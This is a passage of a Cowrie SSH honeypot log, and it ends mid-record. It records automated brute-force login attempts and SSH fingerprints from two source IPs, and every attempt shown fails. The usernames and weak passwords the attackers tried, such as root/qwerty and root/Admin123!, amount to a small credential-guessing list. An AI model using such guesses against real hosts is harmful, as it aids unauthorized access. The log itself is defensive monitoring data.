{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:14.984951Z","src_ip":"192.109.200.78","session":"2864871702c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:15.232822Z","src_ip":"192.109.200.78","session":"2864871702c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:16.321156Z","src_ip":"192.109.200.78","session":"2864871702c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56554,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a85dcb05940","protocol":"ssh","message":"New connection: 192.109.200.78:56554 (159.203.135.109:22) [session: 4a85dcb05940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:19.080208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:19.090864Z","src_ip":"192.109.200.78","session":"4a85dcb05940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:19.177978Z","src_ip":"192.109.200.78","session":"4a85dcb05940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:19.728892Z","src_ip":"192.109.200.78","session":"4a85dcb05940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:20.916380Z","src_ip":"192.109.200.78","session":"4a85dcb05940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56564,"dst_ip":"159.203.135.109","dst_port":22,"session":"02f93d4f7ab6","protocol":"ssh","message":"New connection: 192.109.200.78:56564 (159.203.135.109:22) [session: 02f93d4f7ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:23.307761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:23.432806Z","src_ip":"192.109.200.78","session":"02f93d4f7ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:23.437278Z","src_ip":"192.109.200.78","session":"02f93d4f7ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:24.105859Z","src_ip":"192.109.200.78","session":"02f93d4f7ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:25.192444Z","src_ip":"192.109.200.78","session":"02f93d4f7ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56576,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f4a5cc2dc11","protocol":"ssh","message":"New connection: 192.109.200.78:56576 (159.203.135.109:22) [session: 0f4a5cc2dc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:27.546428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:27.551050Z","src_ip":"192.109.200.78","session":"0f4a5cc2dc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:27.922791Z","src_ip":"192.109.200.78","session":"0f4a5cc2dc11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:28.190048Z","src_ip":"192.109.200.78","session":"0f4a5cc2dc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:29.276254Z","src_ip":"192.109.200.78","session":"0f4a5cc2dc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37340,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9e0e4ef030","protocol":"ssh","message":"New connection: 192.109.200.78:37340 (159.203.135.109:22) [session: eb9e0e4ef030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:31.811413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:31.816321Z","src_ip":"192.109.200.78","session":"eb9e0e4ef030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:31.899438Z","src_ip":"192.109.200.78","session":"eb9e0e4ef030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:32.147554Z","src_ip":"192.109.200.78","session":"eb9e0e4ef030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:33.234195Z","src_ip":"192.109.200.78","session":"eb9e0e4ef030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37376,"dst_ip":"159.203.135.109","dst_port":22,"session":"615fe7ce6d3e","protocol":"ssh","message":"New connection: 192.109.200.78:37376 (159.203.135.109:22) [session: 615fe7ce6d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:35.870210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:35.875370Z","src_ip":"192.109.200.78","session":"615fe7ce6d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:35.958132Z","src_ip":"192.109.200.78","session":"615fe7ce6d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:36.205287Z","src_ip":"192.109.200.78","session":"615fe7ce6d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:37.291703Z","src_ip":"192.109.200.78","session":"615fe7ce6d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43456,"dst_ip":"159.203.135.109","dst_port":22,"session":"6396c6d1f07c","protocol":"ssh","message":"New connection: 192.109.200.78:43456 (159.203.135.109:22) [session: 6396c6d1f07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:40.060373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:40.065074Z","src_ip":"192.109.200.78","session":"6396c6d1f07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:40.146653Z","src_ip":"192.109.200.78","session":"6396c6d1f07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:40.397181Z","src_ip":"192.109.200.78","session":"6396c6d1f07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:41.482778Z","src_ip":"192.109.200.78","session":"6396c6d1f07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":54705,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3330cfd2887","protocol":"ssh","message":"New connection: 177.54.62.66:54705 (10.17.0.5:22) [session: b3330cfd2887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:42.930377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:42.934760Z","src_ip":"177.54.62.66","session":"b3330cfd2887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:43.065513Z","src_ip":"177.54.62.66","session":"b3330cfd2887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu12345","message":"login attempt [ubuntu/ubuntu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:43.621185Z","src_ip":"177.54.62.66","session":"b3330cfd2887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43478,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff9303e9b7a","protocol":"ssh","message":"New connection: 192.109.200.78:43478 (159.203.135.109:22) [session: 1ff9303e9b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:44.087564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:36:44.091956Z","src_ip":"192.109.200.78","session":"1ff9303e9b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 